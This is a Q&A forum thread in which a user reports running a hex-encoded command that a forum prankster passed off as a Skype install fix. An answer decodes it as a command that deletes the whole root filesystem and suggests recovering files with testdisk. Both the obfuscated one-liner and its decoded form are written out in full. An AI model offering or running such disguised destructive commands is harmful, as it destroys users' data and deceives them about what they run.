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I have been 'pranked' by someone on a forum. I had a hard time installing Skype on Ubuntu and he said I needed to run this code:

$(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2

I ran it, my laptop froze and I can't start it anymore. Please help! It's my only laptop and I desperately need it for school.

Ravan
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user2092743
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1 Answers1

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Running echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p - outputs this:

sudo rm -rf --no-preserve-root /

Running $(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2 the command substitution $([...]) is replaced with with the output of the command echo [...] | xxd [...] (which converts the obfuscated / Hex-encoded string back to plain text) and the the substitution along with the remainder of the command is executed.

So the command actually run was sudo rm -rf --no-preserve-root / &>2.

I'm very sorry, but you're installation is gone.

If you need to recover some files, I suggest you to boot Ubuntu from a Live DVD and to use testdisk to recover them (being the machine unbootable you should be able to recover everything, since nothing should have been overwritten).

See here for instructions on how to use testdisk, and here for other recovery options.

Community
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kos
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